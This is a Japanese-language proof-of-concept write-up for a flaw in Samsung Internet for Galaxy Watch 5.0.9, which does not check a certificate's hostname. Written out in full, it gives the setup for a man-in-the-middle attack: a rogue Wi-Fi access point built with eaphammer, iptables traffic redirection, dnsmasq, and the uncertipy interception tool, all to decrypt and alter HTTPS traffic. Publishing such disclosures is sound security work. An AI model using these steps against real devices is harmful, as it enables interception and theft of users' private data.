
CVE-2025-32407 PoC
CVE-2025-32407 の概念実証:Samsung Galaxy Watch 向けアプリ「Samsung Internet for Galaxy Watch」バージョン 5.0.9 における TLS 証明書検証の設定ミス。
Galaxy Watch アプリ「Samsung Internet for Galaxy Watch」バージョン 5.0.9(Samsung Galaxy Watch 3 まで利用可能)は、TLS 証明書を適切に検証しないため、攻撃者がユーザーが訪問するすべての Web サイトをなりすますことができます。これは、ブラウザがサーバーの ID を検証する方法における重大な設定ミスです。これにより、HTTPS を安全なチャネルとして使用する意味がなくなり、中間者攻撃が可能になり、機密情報の盗難や送受信トラフィックの改ざんが発生します。
この特定のケースでは、ブラウザは証明書のドメインが Web サイトのドメイン名と一致することを検証しません。つまり、信頼された認証局によって署名されている限り、任意のドメインに対して発行された TLS 証明書をすべて受け入れます。そのため、攻撃者は自分が管理するドメインの無料証明書を取得し、それを使ってアプリから生成されるすべての TLS 接続を傍受できます。
これは Samsung Galaxy Watch 3 と最新バージョンの「Samsung Internet for Galaxy Watch」(5.0.9)を使用してテストされました。このデバイスは現在サポートされていないことに注意してください。

悪用を支援するために、TLS 通信を動的に傍受し、自分が管理する TLS 証明書を動的に生成するツールを開発しました。これにより、送受信データを復号化および操作できます:https://github.com/diegovargasj/uncertipy。実際の CA によって署名された、有効な TLS 証明書とその鍵が必要です。これは Let's Encrypt API とドメインを使用して簡単かつ無料で行えます。証明書は /path/to/cert.pem、鍵は /path/to/key.pem に保存されます。
Watch の通信を傍受する方法はいくつかあります。例えば、DNS 応答を操作するか、この目的のために作成した WiFi アクセスポイントに接続する方法です。ここでは後者を採用し、インターネットにアクセスするための wlan0 と WiFi アクセスポイントを展開するための wlan1 の 2 つのネットワークインターフェースを持つコンピュータを使用します。
WiFi AP の展開には eaphammer(https://github.com/s0lst1c3/eaphammer)を使用しますが、好きなツールを使用しても構いません。
sudo ./eaphammer --auth wpa-psk --wpa-passphrase MyPassword --interface wlan1 --essid WLAB
次に、インターフェースに IP アドレスを割り当てます:
sudo ip addr add 10.0.0.1/24 dev wlan1
トラフィックをローカルポート 9900 にリダイレクトします:
sudo iptables -A INPUT -i wlan1 -j ACCEPT
sudo iptables -t nat -A PREROUTING -i wlan1 -p tcp -m tcp -j REDIRECT --to-ports 9900
sudo iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE
そして DHCP と DNS を有効にします:
sudo dnsmasq --no-daemon --interface wlan1 --dhcp-range=10.0.0.100,10.0.0.200 --log-dhcp --log-queries --bind-interfaces -C /dev/null
最後に、uncertipy を起動してポート 9900 の TLS トラフィックを傍受します。このトラフィックはログ記録のためにポート 8080 の HTTP プロキシにリダイレクトされます:
python3 uncertipy.py -a 0.0.0.0 -p 9900 -c /path/to/cert.pem -k /path/to/key.pem -m replaced_key -u 127.0.0.1:8080
これで Watch を WiFi AP に接続し、アプリを開いて任意の HTTPS Web サイトにアクセスします。


uncertipy ツールは TLS 傍受を通知します。

HTTP プロキシがリクエストの傍受を開始し、機密情報が含まれている可能性があります。さらに、プロキシの機能を利用して送信または受信リクエストを変更することもできます。

アプリは正常に動作し、Web サイトのコンテンツを表示するはずです。
